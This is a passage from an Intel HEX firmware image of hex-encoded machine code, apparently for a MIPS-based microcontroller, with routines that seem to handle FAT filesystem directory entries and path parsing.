f1\n:104b40003c00438c8000c28f400043ac2800c0a7cb\n:104b50002800c2278000c48f2128400001000624bd\n:104b6000e72f400f000000001800c2af1800c28fee\n:104b70000400401400000000ff0002241d54400bfc\n:104b8000000000001800c48f0227400f0000000042\n:104b9000248182affc52400b000000002800c22795\n:104ba0008000c48f2128400021300000e72f400ff3\n:104bb000000000001800c2af1800c28f04004014ab\n:104bc00000000000ff0002241d54400b0000000004\n:104bd0002800c29701004224ffff42302800c2a7ec\n:104be0001800c48f0227400f00000000248182af0c\n:104bf0002481838f2400c28fe8ff6214000000002c\n:104c00002481838f2400c28f1000621400000000f2\n:104c10001800c28f00004380e5ff0224dfff62100e\n:104c2000000000001800c28f0b004390080002240f\n:104c3000daff6210000000001800c28f0b004390e2\n:104c40000f000224d5ff6210000000008000c28f18\n:104c50002400c38f3c0043ac8000c28f2400c38f6c\n:104c6000400043ac1000c0af2c00c2272120400000\n:104c70008000c58f403e400f000000002800c29712\n:104c8000feff4224ffff42307000c2a77000c2271f\n:104c90008000c48f2128400021300000e72f400f02\n:104ca000000000001c00c2afc553400b0000000014\n:104cb0001c00c28f010042907400c2a31c00c28f6e\n:104cc000020042907500c2a31000c28f010043246d\n:104cd0001000c3af401002002000c38f21106200fb\n:104ce0007400c397000043a41c00c28f03004290cd\n:104cf0007400c2a31c00c28f040042907500c2a3be\n:104d00001000c28f010043241000c3af4010020006\n:104d10002000c38f211062007400c397000043a4d9\n:104d20001c00c28f050042907400c2a31c00c28ff9\n:104d3000060042907500c2a31000c28f01004324f8\n:104d40001000c3af401002002000c38f211062008a\n:104d50007400c397000043a41c00c28f0700429058\n:104d60007400c2a31c00c28f080042907500c2a349\n:104d70001000c28f010043241000c3af4010020096\n:104d80002000c38f211062007400c397000043a469\n:104d90001c00c28f090042907400c2a31c00c28f85\n:104da0000a0042907500c2a31000c28f0100432484\n:104db0001000c3af401002002000c38f211062001a\n:104dc0007400c397000043a41000c28f0100432465\n:104dd0001000c3af401002002000c38f21106200fa\n:104de0001c00c38f0e006394000043a41000c28f08\n:104df000010043241000c3af401002002000c38f05\n:104e0000211062001c00c38f10006394000043a4b3\n:104e10001000c28f010043241000c3af40100200f5\n:104e20002000c38f211062001c00c38f1200639406\n:104e3000000043a41000c28f010043241000c3af40\n:104e4000401002002000c38f211062001c00c38f9d\n:104e500014006394000043a41000c28f0100432497\n:104e60001000c3af401002002000c38f2110620069\n:104e70001c00c38f16006394000043a41000c28f6f\n:104e8000010043241000c3af401002002000c38f74\n:104e9000211062001c00c38f18006394000043a41b\n:104ea0001000c28f010043241000c3af4010020065\n:104eb0002000c38f211062001c00c38f1c0063946c\n:104ec000000043a41000c28f010043241000c3afb0\n:104ed000401002002000c38f211062001c00c38f0d\n:104ee0001e006394000043a47000c297ffff422499\n:104ef000ffff42307000c2a77000c2278000c48f3d\n:104f00002128400021300000e72f400f0000000062\n:104f10001c00c2af1c00c28f0b0043900f00022484\n:104f20000a006214000000001c00c28f00004390c1\n:104f3000e500022405006210000000001c00c28f82\n:104f4000000042905aff4014000000002c00c227cd\n:104f50008000c48f21284000403e400f0000000028\n:104f60001000c28f17004014000000001400c0aff2\n:104f7000e953400b000000001800c38f1400c28fdb\n:104f800021106200000043808000c48f1400c28f93\n:104f900021108200200043a01400c28f010042248f\n:104fa0001400c2af1400c28f0b004228f2ff40145d\n:104fb000000000008000c28f340040a41c54400b4d\n:104fc000000000001000c28fffff43308000c28f3e\n:104fd000340043a40c0002241400c2af1554400b4b\n:104fe000000000001000c38f1400c28f2310620065\n:104ff00021184000ff7f023cffff42342110620075\n:10500000401002002000c38f211062000000429473\n:105010000d004014000000001000c28fffff43305d\n:105020001400c28fffff423023106200ffff4230a6\n:10503000ffff4224ffff43308000c28f340043a4af\n:105040001854400b000000001400c28fffff4224e0\n:105050001400c2af1400c28fe2ff41040000000040\n:105060008000c28f00a0033ce8156324300043aced\n:105070002110000021e8c0037c00bf8f7800be8fa4\n:105080008000bd270800e00300000000e8ffbd2706\n:105090001400bfaf1000beaf21f0a0031800c4afd2\n:1050a000212000001800c58f213000004854400f17\n:1050b0000000000021e8c0031400bf8f1000be8f65\n:1050c0001800bd270800e00300000000e0ffbd2736\n:1050d0001c00bfaf1800beaf21f0a0032000c4af7a\n:1050e00001000224488082af212000002000c58feb\n:1050f000213000004854400f000000001000c2aff3\n:10510000488080af1000c28f21e8c0031c00bf8f11\n:105110001800be8f2000bd270800e003000000003b\n:10512000c8fdbd273402bfaf3002beaf21f0a003df\n:10513000211080003c02c5af4002c6af3802c2a3b6\n:105140001200c0a71400c0a73c02c28f1800c2af53\n:105150003c02c28f1c00c2af00a0023c00064224e9\n:105160002000c2af388180a3f4d8400f00000000b7\n:10517000060040100000000018000224388182a3bd\n:10518000ffff02246c57400b000000004880828f14\n:1051900068004010000000003c02c28f1c00c2af3b\n:1051a0001000c0a77154400b000000001c00c28f0b\n:1051b000020042241c00c2af1000c297010042242a\n:1051c0001000c2a71c00c28f000042940b004010c8\n:1051d000000000001c00c28f000043942e00022437\n:1051e00006006210000000001c00c28f0000439403\n:1051f0005c000224edff6214000000001000c29762\n:105200000101422c06004014000000001f0002248f\n:10521000388182a3ffff02246c57400b000000007e\n:105220001200c0a71c00c28f000043942e0002246d\n:1052300020006214000000001c00c28f0200422403\n:105240001c00c2af9954400b000000001c00c28f2c\n:10525000020042241c00c2af1200c2970100422487\n:105260001200c2a71c00c28f00004294060040102a\n:10527000000000001c00c28f000043945c00022468\n:10528000f2ff6214000000001000c3971200c297e2\n:1052900021106200010142280600401400000000b5\n:1052a0001f000224388182a3ffff02246c57400ba9\n:1052b000000000001000c3971200c297211862007e\n:1052c0001400c2972a10430007004010000000009d\n:1052d0001000c3971200c297211062001400c2a7e9\n:1052e000bf54400b00000000bf54400b0000000002\n:1052f0001c00c28f020042241c00c2af1c00c28fdf\n:10530000000043945c000224f9ff621000000000da\n:105310001c00c28f000042940400401400000000f2\n:10532000000000003155400b000000006854400ba5\n:10533000000000001000c0a7d654400b0000000081\n:105340001800c28f010042241800c2af1000c2979b\n:10535000010042241000c2a71800c28f0000428042\n:105360000b004010000000001800c28f00004380b6\n:105370002e00022406006210000000001800c28ff8\n:10538000000043805c000224edff62140000000076\n:105390001000c2970101422c0600401400000000da\n:1053a0001f000224388182a3ffff02246c57400ba8\n:1053b000000000001200c0a71800c28f0000438048\n:1053c0002e00022420006214000000001800c28f8a\n:1053d000010042241800c2affe54400b0000000040\n:1053e0001800c28f010042241800c2af1200c297f9\n:1053f000010042241200c2a71800c28f00004280a0\n:1054000006004010000000001800c28f000043801a\n:105410005c000224f2ff6214000000001000c39739\n:105420001200c297211062000101422806004014b8\n:10543000000000001f000224388182a3ffff022425\n:105440006c57400b000000001000c3971200c29779\n:10545000211862001400c2972a1043000700401070\n:10546000000000001000c3971200c29721106200d4\n:105470001400c2a72455400b000000002455400b27\n:10548000000000001800c28f010042241800c2afc3\n:105490001800c28f000043805c000224f9ff6210f4\n:1054a000000000001800c28f00004280030040147a\n:1054b000000000003155400b00000000cd54400baf\n:1054c000000000003c02c28f1c00c2af3c02c28f31\n:1054d0001800c2af0c80828f2000c48f21284000aa\n:1054e000403e400f000000004880828f06004010c0\n:1054f000000000001c00c28f000042941000c2a7f0\n:105500004555400b000000001800c28f000042808b\n:105510001000c2a71000c3972e000224800062145e\n:10552000000000004880828f090040100000000049\n:105530001c00c28f020042241c00c2af1c00c28f9c\n:10554000000042941000c2a75a55400b0000000012\n:105550001800c28f010042241800c2af1800c28f89\n:10556000000042801000c2a71000c3972e00022442\n:105570000d006210000000001000c2970a004010e9\n:10558000000000001000c3975c00022406006210b7\n:10559000000000001f000224388182a3ffff0224c4\n:1055a0006c57400b000000001000c3972e0002242f\n:1055b00037006214000000000c80828f3c00438c96\n:1055c0002881828f06006214000000001f00022460\n:1055d000388182a3ffff02246c57400b00000000bb\n:1055e0004880828f09004010000000001c00c28f1c\n:1055f000020042241c00c2af1c00c28f0000429473\n:105600001000c2a78955400b000000001800c28f8f\n:10561000010042241800c2af1800c28f000042806f\n:105620001000c2a71000c3975c000224090062109a\n:10563000000000001000c2970600401000000000ab\n:105640001f000224388182a3ffff02246c57400b05\n:10565000000000004880828f07004010000000001a\n:10566000059d023c905f4424414c400f0000000027\n:10567000a455400b00000000059d023c985f4424a7\n:10568000414c400f00000000b755400b00000000e7\n:10569000b755400b000000004880828f0900401081\n:1056a000000000001c00c28f020042241c00c2af98\n:1056b0001c00c28f000042941000c2a7b755400bd7\n:1056c000000000001800c28f010042241800c2af81\n:1056d0001800c28f000042801000c2a71000c397bc\n:1056e0005c000224ecff6210000000001000c29772\n:1056f0004f004014000000000c80828f21204000e9\n:105700002000c58f403e400f000000001f00022413\n:10571000388182a3ffff02246c57400b0000000079\n:105720001000c3975c0002243f00621400000000d8\n:105730000c80828f2881838f3c0043ac0c80828f49\n:105740002881838f400043ac1000c0a70c80838f5a\n:105750001000c297010044241000c4a72110620069\n:105760005c000324200043a0e455400b000000002f\n:105770000c80838f1000c297211062002000032448\n:10578000200043a01000c297010042241000c2a7cd\n:105790001000c2970b00422cf5ff401400000000df\n:1057a0004880828f09004010000000001c00c28f5a\n:1057b000020042241c00c2af1c00c28f00004294b1\n:1057c0001000c2a7f955400b000000001800c28f5e\n:1057d000010042241800c2af1800c28f00004280ae\n:1057e0001000c2a71000c3975c00022404006210de\n:1057f000000000001000c2970d00401400000000df\n:105800000c80828f212040002000c58f403e400f39\n:10581000000000001f000224388182a3ffff022441\n:105820006c57400b000000000e56400b00000000bb\n:105830003a55400b000000004880828f2f00401036\n:10584000000000001c00c28f000042941000c2a79c\n:105850001200c0a7000202241400c2a73156400b58\n:10586000000000001200c297010043241200c3a7e9\n:105870001000c397201c037c1000c4272110820055\n:105880001c0043a01200c297010043241200c3a7ca\n:105890001000c397021a0300ffff6330201c037c33\n:1058a0001000c427211082001c0043a01c00c28fde\n:1058b000020042241c00c2af1c00c28f00004294b0\n:1058c0001000c2a71000c2972e0040100000000078\n:1058d0001000c3975c0002242a0062100000000040\n:1058e0001200c3971400c2972b106200ddff401412\n:1058f000000000006156400b000000001800c28f3d\n:10590000000042801000c2a71200c0a700010224bc\n:105910001400c2a75556400b000000001200c297a9\n:10592000010043241200c3a71000c397201c037c6e\n:105930001000c427211082001c0043a01800c28f51\n:10594000010042241800c2af1800c28f000042803c\n:105950001000c2a71000c2970a004010000000000b\n:105960001000c3975c0002240600621000000000d3\n:105970001200c3971400c2972b106200e7ff401477\n:10598000000000004880828f4000401000000000ae\n:105990001200c297010043241200c3a71000c327be\n:1059a000211062001c0040a01200c2971000c32703\n:1059b000211062001c0040a02c00c3832e00022492\n:1059c0005c006214000000002d00c28359004014e6\n:1059d000000000002e00c2830400401400000000fc\n:1059e0002f00c28312004010000000002e00c3836d\n:1059f0002e00022404006214000000002f00c28365\n:105a00000b004010000000000c80828f212040001d\n:105a10002000c58f403e400f000000001f00022400\n:105a2000388182a3ffff02246c57400b0000000066\n:105a30002e00c3832e0002243e00621400000000ea\n:105a40002f00c2833b004014000000003000c283de\n:105a500004004014000000003100c28335004010f3\n:105a6000000000000c80828f212040002000c58fa4\n:105a7000403e400f000000001f000224388182a336\n:105a8000ffff02246c57400b000000001200c29779\n:105a90001000c327211062001c0040a02c00c3830b\n:105aa0002e00022423006214000000002d00c28397\n:105ab0000f004010000000002d00c3832e000224c0\n:105ac0000b006210000000000c80828f212040003b\n:105ad0002000c58f403e400f000000001f00022440\n:105ae000388182a3ffff02246c57400b00000000a6\n:105af0002d00c3832e0002240e006214000000005b\n:105b00002e00c2830b004010000000000c80828f2a\n:105b1000212040002000c58f403e400f00000000c3\n:105b20001f000224388182a3ffff02246c57400b20\n:105b3000000000002c00c22721204000414c400ff3\n:105b400000000000070040100000000000000000fe\n:105b50004880828f4600401000000000fd56400b38\n:105b600000000000ec56400b000000004880828fcf\n:105b700009004010000000001c00c28f02004224f7\n:105b80001c00c2af1c00c28f000042941000c2a7cc\n:105b9000ec56400b000000001800c28f01004224a8\n:105ba0001800c2af1800c28f000042801000c2a7c8\n:105bb0001000c3975c000224ecff6210000000009c\n:105bc0001000c29709004014000000000c80828f72\n:105bd000212040002000c58f403e400f0000000003\n:105be000211000006c57400b000000000e56400bc7\n:105bf000000000001400c0a72c00c2272400c2af80\n:105c000000a0023ce81542242800c2af1400c2974d\n:105c1000401002002800c38f211062001400c397b7\n:105c2000401803002400c48f2118830000006394ef\n:105c3000000043a41400c297401002002800c38f44\n:105c40002110620000004294060040100000000095\n:105c50001400c297010042241400c2a70357400b4e\n:105c600000000000000000002257400b0000000070\n:105c70002c00c22700a0033ce81564242128400022\n:105c80007f49410f0000000000a0023ce8154424b9\n:105c90007257400f0000000009004014000000008f\n:105ca0000c80828f212040002000c58f403e400f95\n:105cb00000000000ffff02246c57400b00000000b2\n:105cc0002c00c22721204000414c400f0000000062\n:105cd0000b004010000000000c80828f212040004b\n:105ce0002000c58f403e400f000000001b00022432\n:105cf000388182a3ffff02246c57400b0000000094\n:105d00004880828f10004010000000004b57400b6d\n:105d1000000000001c00c28f020042241c00c2af21\n:105d20001c00c28f000042941000c2a71c00c28f4a\n:105d3000000043945c000224f6ff621000000000a3\n:105d40005f57400b000000005a57400b0000000056\n:105d50001800c28f010042241800c2af1800c28f81\n:105d6000000042801000c2a71800c28f00004380cc\n:105d70005c000224f6ff6210000000001000c297d1\n:105d800009004014000000000c80828f2120400098\n:105d90002000c58f403e400f000000002110000091\n:105da0006c57400b000000000e56400b0000000036\n:105db00021e8c0033402bf8f3002be8f3802bd27f6\n:105dc0000800e00300000000d0ffbd272c00bfaf9b\n:105dd0002800beaf21f0a0033000c4af00a0023cf9\n:105de000a01342241400c2af2000c0a73000c48f0b\n:105df0001400c58f213000007644400f00000000e1\n:105e0000060040140000000012000224388182a322\n:105e100021100000e457400b000000000c80828f2e\n:105e20003c00438c1400c28f3c0043ac0c80828f3a\n:105e30004000438c1400c28f400043ac1400c28f5a\n:105e4000040040ac1400c28f080040ac0c80828f6c\n:105e50000000438c1400c28f000043ac2000c22716\n:105e60001400c48f212840001200062401000724da\n:105e7000e630400f00000000040040100000000069\n:105e800021100000e457400b000000003c8082938a\n:105e900010004010000000001400c28f0000428c6f\n:105ea00021204000212800002130000001000724ab\n:105eb000c64a400f0000000006004010000000002d\n:105ec00009000224388182a321100000e457400b0e\n:105ed000000000001400c28f3c00438c2881828f98\n:105ee00004006214000000001000c0afc057400b57\n:105ef000000000001400c28f3c00428c1000c2afb2\n:105f00001400c28f3c00438c1400c28f400043ac8d\n:105f10002000c2271400c48f21284000010006245d\n:105f2000e72f400f000000001800c2af1800c28f1a\n:105f300006004014000000001b000224388182a3e8\n:105f400021100000e457400b000000001800c48f2f\n:105f50000227400f000000001c00c2af1400c28fd7\n:105f60000000428c212040001c00c58f1000c68f0d\n:105f7000ea57400f0000000004004010000000003d\n:105f800001000224e457400b000000002110000033\n:105f900021e8c0032c00bf8f2800be8f3000bd2732\n:105fa0000800e00300000000b8ffbd274400bfafb9\n:105fb0004000beaf21f0a0034800c4af4c00c5af05\n:105fc0005000c6af2000c2271400c2af408080af8f\n:105fd000200002241800c2a74800c28f0300438893\n:105fe000000043984800c28f1d004488212880008b\n:105ff0001a0045982110a0002120600021280000ef\n:10600000213040006551410f000000002e000224a5\n:106010002000c2a3010002241000c2a71158400ba7\n:10602000000000001000c2971000c327211062007a\n:1060300020000324100043a01000c2970100422456\n:106040001000c2a71000c2970800422cf5ff4014b0\n:10605000000000001000c0a72058400b0000000006\n:106060001000c2971000c3272110620020000324f3\n:10607000180043a01000c297010042241000c2a7dc\n:106080001000c2970300422cf5ff401400000000ee\n:10609000100002242b00c2a32c00c0a34c00c28f0e\n:1060a000ffff42303a00c2a74c00c38fff0f023cf3\n:1060b0002410620002140200ffff42303400c2a725\n:1060c0003c00c0af168182932d00c2a32c81829721\n:1060d0002e00c2a73a8182973000c2a73200c0a723\n:1060e0003600c0a73800c0a71000c0a74b58400b0f\n:1060f000000000004800c28f03004388000043985e\n:106100001000c297211062001000c3971400c48fc2\n:106110002118830000006380ff006330000043a06b\n:106120001000c297010042241000c2a71000c397bc\n:106130001800c2972b106200eeff40140000000010\n:106140002e0002242100c2a35000c28fffff423064\n:106150003a00c2a75000c38fff0f023c2410620018\n:1061600002140200ffff42303400c2a71000c0a793\n:106170006e58400b000000004800c28f03004388a7\n:10618000000043981000c4971800c29721108200a5\n:10619000211062001000c3971400c48f21188300df\n:1061a00000006380ff006330000043a01000c2972e\n:1061b000010042241000c2a71000c3971800c29724\n:1061c0002b106200ecff4014000000004800c48f58\n:1061d0004c00c58f6d3f400f000000001c00c2af97\n:1061e0004800c28f030043882120600000004498cb\n:1061f000211080001c00c48f2128400021300000a5\n:10620000b6d8400f00000000060040140000000057\n:1062100009000224388182a3211000008a58400b13\n:10622000000000000100022421e8c0034400bf8fe9\n:106230004000be8f4800bd270800e00300000000ba\n:10624000e8ffbd271400bfaf1000beaf21f0a003d0\n:106250001800c4af2110a0001c00c2a31c00c293f0\n:10626000212000001800c58f213000002138400097\n:10627000bd58400f0000000021e8c0031400bf8f8c\n:106280001000be8f1800bd270800e00300000000ca\n:10629000e0ffbd271c00bfaf1800beaf21f0a00378\n:1062a0002000c4af2110a0002400c2a301000224da\n:1062b000488082af2400c293212000002000c58fb7\n:1062c0002130000021384000bd58400f0000000080\n:1062d0001000c2af488080af1000c28f21e8c00319\n:1062e0001c00bf8f1800be8f2000bd270800e003f0\n:1062f0000000000070fdbd278c02bfaf8802beaf5a\n:1063000021f0a003211880009402c5af9802c6af07\n:106310002110e0009002c3a39c02c2a300a0023c93\n:10632000000642242400c2af00a0023ca013422475\n:106330002800c2af3400c0a71600c0a74880828fd3\n:106340002c00c2af3800c2273000c2af388180a312\n:106350000c80828f2400c48f21284000403e400fd3\n:10636000000000009402c48f414c400f0000000068\n:1063700006004010000000000c000224388182a3b7\n:10638000ffff0224d65d400b000000000c80828fce\n:106390003c00438c2881828f0700621000000000bf\n:1063a0000c80828f3c00438c2400c28f3c00428cc6\n:1063b0000b006214000000000c80828f212040003e\n:1063c0002400c58f403e400f000000001f00022443\n:1063d000388182a3ffff0224d65d400b000000003d\n:1063e0003400c29701004224ffff42303400c2a7ac\n:1063f0000c80838f3400c2272120600021284000b8\n:1064000001000624e72f400f000000001000c2af7b\n:106410001000c28f0b004014000000000c80828f1f\n:10642000212040002400c58f403e400f00000000a6\n:106430001b000224388182a3ffff0224d65d400b9b\n:10644000000000003400c29701004224ffff4230e8\n:106450003400c2a70c80838f3400c2272120600043\n:106460002128400021300000e72f400f00000000ed\n:106470001000c2af1000c28f0b00401400000000db\n:106480000c80828f212040002400c58f403e400fa9\n:10649000000000001b000224388182a3ffff0224b9\n:1064a000d65d400b000000009c02c29331004014f6\n:1064b000000000005759400b000000001000c28f80\n:1064c00000004380e5ff02240b0062100000000082\n:1064d0000c80828f212040002400c58f403e400f59\n:1064e0000000000016000224388182a3ffff02246e\n:1064f000d65d400b000000003400c297010042242a\n:10650000ffff42303400c2a70c80838f3400c227c3\n:10651000212060002128400021300000e72f400f9b\n:10652000000000001000c2af1000c28f0b0040142a\n:10653000000000000c80828f212040002400c58fc5\n:10654000403e400f000000001b000224388182a35f\n:10655000ffff0224d65d400b000000001000c28f38\n:1065600000004280d5ff4014000000006b5d400b2e\n:10657000000000002e8180a31400c0a72400c28f59\n:106580003800c327300043ac2800c28f3800c3272f\n:10659000300043ac685d400b000000001000c28f6b\n:1065a0000000428019024010000000001000c28f5d\n:1065b00000004380e5ff0224ee00621000000000ae\n:1065c0001000c28f0b0043900f000224e9006214f8\n:1065d000000000001000c28f1c00c2af1c00c28f60\n:1065e00000004290400042301700401000000000c0\n:1065f0001c00c28f00004290bfff4224ffff4230c8\n:10660000211840002110600080100200802002004c\n:106610002310820021104300ffff42301600c2a762\n:106620001600c2870d004224401002003000c38fc4\n:1066300021106200000040a4010002242000c2af2b\n:106640009f59400b000000001c00c28f00004290c8\n:10665000ffff4224ffff423021184000211060005c\n:1066600080100200802002002310820021104300cd\n:10667000ffff42301600c2a72000c0af1c00c28f2f\n:10668000010042908002c2a31c00c28f020042900f\n:106690008102c2a31600c287010043241600c3a7cb\n:1066a000401002003000c38f211062008002c397a7\n:1066b000000043a41c00c28f030042908002c2a3ca\n:1066c0001c00c28f040042908102c2a31600c28740\n:1066d000010043241600c3a7401002003000c38ffe\n:1066e000211062008002c397000043a41c00c28fe7\n:1066f000050042908002c2a31c00c28f0600429097\n:106700008102c2a31600c287010043241600c3a75a\n:10671000401002003000c38f211062008002c39736\n:10672000000043a41c00c28f070042908002c2a355\n:106730001c00c28f080042908102c2a31600c287cb\n:10674000010043241600c3a7401002003000c38f8d\n:10675000211062008002c397000043a41c00c28f76\n:10676000090042908002c2a31c00c28f0a0042901e\n:106770008102c2a31600c287010043241600c3a7ea\n:10678000401002003000c38f211062008002c397c6\n:10679000000043a41600c287010043241600c3a7cb\n:1067a000401002003000c38f211062001c00c38f14\n:1067b0000e006394000043a41600c2870100432426\n:1067c0001600c3a7401002003000c38f21106200e2\n:1067d0001c00c38f10006394000043a41600c287fe\n:1067e000010043241600c3a7401002003000c38fed\n:1067f000211062001c00c38f12006394000043a4a8\n:106800001600c287010043241600c3a740100200ef\n:106810003000c38f211062001c00c38f14006394ea\n:10682000000043a41600c287010043241600c3a73a\n:10683000401002003000c38f211062001c00c38f83\n:1068400016006394000043a41600c287010043248d\n:106850001600c3a7401002003000c38f2110620051\n:106860001c00c38f18006394000043a41600c28765\n:10687000010043241600c3a7401002003000c38f5c\n:10688000211062001c00c38f1c006394000043a40d\n:106890001600c287401002003000c38f2110620032\n:1068a0001c00c38f1e006394000043a42000c28f0d\n:1068b0002a004010000000001600c3972400c28f79\n:1068c000340043a40c0002241800c2a3505a400b09\n:1068d000000000001600c3871800c2832310620066\n:1068e00021184000ff7f023cffff4234211062006c\n:1068f000401002003000c38f21106200000042945b\n:106900000c004014000000001600c3971800c2835a\n:10691000ffff423023106200ffff4230ffff42249e\n:10692000ffff43302400c28f340043a4535a400b6e\n:10693000000000001800c283ffff42241800c2a319\n:106940001800c283e3ff4104000000002400c28f4e\n:10695000340043942800c28f340043a43400c2970b\n:1069600001004224ffff42303400c2a7585b400bb5\n:10697000000000001000c28f00004380e5ff0224e9\n:10698000f3006210000000001000c28f0b00439063\n:1069900008000224ee006210000000001000c28f08\n:1069a0000b0043900f000224e90062100000000079\n:1069b0001000c28f0b00429010004230880040103f\n:1069c000000000001400c297010042241400c2a776\n:1069d0002400c28f340042941000401000000000d8\n:1069e00001000224488082af3800c22721204000e5\n:1069f000414c400f000000001800c2a32c00c28fc1\n:106a0000488082af2400c28f340040a42800c28f87\n:106a1000340040a4d55a400b000000001800c0a369\n:106a2000955a400b000000001800c2931800c39351\n:106a30001000c48f21188300000063801000c42759\n:106a400021108200280043a01800c28301004224c4\n:106a50001800c2a31800c283080042280800401092\n:106a6000000000001800c2931000c38f21106200c4\n:106a70000000438020000224ebff621400000000ad\n:106a80001000c28f080043802000022425006210fd\n:106a9000000000001800c283010043241800c3a3b3\n:106aa000ff0042301000c327211062002e00032493\n:106ab000280043a01900c0a3be5a400b00000000ec\n:106ac0001800c283010043241800c3a3ff00423012\n:106ad0001900c3931000c48f21188300080063803d\n:106ae0001000c42721108200280043a01900c2838f\n:106af000010042241900c2a31900c28303004228e6\n:106b000008004010000000001900c2931000c38f5d\n:106b1000211062000800438020000224e8ff621474\n:106b2000000000001800c2931000c327211062006b\n:106b3000280040a0488080af3800c22721204000b4\n:106b4000414c400f000000001800c2a32c00c28f6f\n:106b5000488082af1800c2830b0040100000000084\n:106b60000c80828f212040002400c58f403e400fc2\n:106b7000000000000c000224388182a3ffff0224e1\n:106b8000d65d400b000000000c80828f3c00438cdf\n:106b90002400c28f3c00428c0b00621400000000f5\n:106ba0000c80828f212040002400c58f403e400f82\n:106bb000000000001f000224388182a3ffff02248e\n:106bc000d65d400b00000000020002243400c2a782\n:106bd00001000224478082a3585b400b00000000a4\n:106be0002400c28f340042942600401400000000ac\n:106bf0001800c0a30a5b400b000000001800c293fd\n:106c00001800c3931000c48f211883000000638014\n:106c10002800c48f21108200200043a01800c283e6\n:106c2000010042241800c2a31800c28308004228b1\n:106c3000f2ff4014000000001800c0a31d5b400bd1\n:106c4000000000001800c293080042241800c393fb\n:106c50001000c48f21188300080063802800c48faf\n:106c600021108200200043a01800c28301004224aa\n:106c70001800c2a31800c28303004228f1ff401489\n:106c8000000000002800c28f00a0033c58106324bd\n:106c9000000043ac3400c3972800c28f360043a4e1\n:106ca0000c80828f3c00438c2800c28f3c0043ac98\n:106cb0000c80828f4000438c2800c28f400043ac80\n:106cc0002800c28f040040ac2800c28f080040acee\n:106cd0003400c2272800c48f212840000100062468\n:106ce000dd39400f000000000f00401000000000e0\n:106cf0002400c28f340040a42800c28f340040a476\n:106d00000c80828f212040002400c58f403e400f20\n:106d10000000000001000224388182a3ffff02244a\n:106d2000d65d400b000000003400c29701004224f1\n:106d3000ffff42303400c2a72400c28f340040a4b9\n:106d40002800c28f340040a4585b400b00000000b4\n:106d50003400c29701004224ffff42303400c2a732\n:106d6000478082931000401000000000478080a3fd\n:106d70000c80828f0c80838f3c00638c400043ac7e\n:106d80000c80838f3400c22721206000212840001e\n:106d900001000624e72f400f000000001000c2afe2\n:106da000725b400b000000000c80838f3400c22710\n:106db000212060002128400021300000e72f400ff3\n:106dc000000000001000c2af1000c28ff401401498\n:106dd000000000002400c28f340040a42800c28fad\n:106de000340040a40c80828f212040002400c58ff5\n:106df000403e400f000000001b000224388182a3a7\n:106e0000ffff0224d65d400b000000002400c28f6b\n:106e1000340040a42800c28f340040a41400c2975c\n:106e2000dd014010000000003600c0a70c80828ffa\n:106e30000c80838f3c00638c400043ac0c80838fbc\n:106e40003600c227212060002128400001000624ce\n:106e5000e72f400f000000001000c2af1000c28feb\n:106e60000b004014000000000c80828f21204000a5\n:106e70002400c58f403e400f000000001b0002248c\n:106e8000388182a3ffff0224d65d400b0000000082\n:106e90001000c48f0227400f00000000ffff4230a7\n:106ea0003600c2a74880828f080040100000000012\n:106eb000059d023c905f4424414c400f00000000bf\n:106ec0001600c2a7b85b400b00000000059d023c05\n:106ed000985f4424414c400f000000001600c2a7f8\n:106ee0001600c2870b004010000000000c80828f4b\n:106ef000212040002400c58f403e400f00000000cc\n:106f00000c000224388182a3ffff0224d65d400bcf\n:106f100000000000020002243400c2a70c80828f0f\n:106f20000c80838f3c00638c400043ac0c80838fcb\n:106f30003400c227212060002128400001000624df\n:106f4000e72f400f000000001000c2af1000c28ffa\n:106f50000b004014000000000c80828f21204000b4\n:106f60002400c58f403e400f000000001b0002249b\n:106f7000388182a3ffff0224d65d400b0000000091\n:106f80001000c48f0227400f00000000248182af50\n:106f9000035c400b000000003400c2970100422453\n:106fa000ffff42303400c2a70c80838f3400c22719\n:106fb000212060002128400021300000e72f400ff1\n:106fc000000000001000c2af1000c28f0b00401480\n:106fd000000000000c80828f212040002400c58f1b\n:106fe000403e400f000000001b000224388182a3b5\n:106ff000ffff0224d65d400b000000001000c48f8c\n:107000000227400f00000000248182af3600c297a3\n:10701000211840002481828fdfff621400000000ed\n:107020003600c297211840002481828f0b00621421\n:10703000000000001000c28f00004380e5ff022422\n:10704000d5ff6210000000001000c28f0b004390bb\n:1070500008000224d0ff6210000000001600c0a744\n:107060000c80828f3c02c327212060002128400031\n:10707000403e400f000000003400c297ffff422452\n:10708000ffff42303a02c2a70c80838f3a02c22728\n:10709000212060002128400021300000e72f400f10\n:1070a000000000001c00c2afc65c400b00000000e6\n:1070b0001c00c28f010042908002c2a31c00c28f3c\n:1070c000020042908102c2a31600c287010043243d\n:1070d0001600c3a7401002003000c38f21106200c9\n:1070e0008002c397000043a41c00c28f030042909b\n:1070f0008002c2a31c00c28f040042908102c2a37e\n:107100001600c287010043241600c3a740100200e6\n:107110003000c38f211062008002c397000043a497\n:107120001c00c28f050042908002c2a31c00c28fc7\n:10713000060042908102c2a31600c28701004324c8\n:107140001600c3a7401002003000c38f2110620058\n:107150008002c397000043a41c00c28f0700429026\n:107160008002c2a31c00c28f080042908102c2a309\n:107170001600c287010043241600c3a74010020076\n:107180003000c38f211062008002c397000043a427\n:107190001c00c28f090042908002c2a31c00c28f53\n:1071a0000a0042908102c2a31600c2870100432454\n:1071b0001600c3a7401002003000c38f21106200e8\n:1071c0008002c397000043a41600c2870100432435\n:1071d0001600c3a7401002003000c38f21106200c8\n:1071e0001c00c38f0e006394000043a41600c287e6\n:1071f000010043241600c3a7401002003000c38fd3\n:10720000211062001c00c38f10006394000043a48f\n:107210001600c287010043241600c3a740100200d5\n:107220003000c38f211062001c00c38f12006394d2\n:10723000000043a41600c287010043241600c3a720\n:10724000401002003000c38f211062001c00c38f69\n:1072500014006394000043a41600c2870100432475\n:107260001600c3a7401002003000c38f2110620037\n:107270001c00c38f16006394000043a41600c2874d\n:10728000010043241600c3a7401002003000c38f42\n:10729000211062001c00c38f18006394000043a4f7\n:1072a0001600c287010043241600c3a74010020045\n:1072b0003000c38f211062001c00c38f1c00639438\n:1072c000000043a41600c287010043241600c3a790\n:1072d000401002003000c38f211062001c00c38fd9\n:1072e0001e006394000043a43a02c297ffff4224a9\n:1072f000ffff42303a02c2a70c80838f3a02c227b6\n:10730000212060002128400021300000e72f400f9d\n:10731000000000001c00c2af1c00c28f0b00439095\n:107320000f0002240a006214000000001c00c28f3b\n:1073300000004390e50002240500621000000000f8\n:107340001c00c28f0000429059ff40140000000052\n:107350000c80838f3c02c22721206000212840003e\n:10736000403e400f000000001600c287300040146d\n:10737000000000003800c227212040002128000022\n:107380000c0006246551410f000000001800c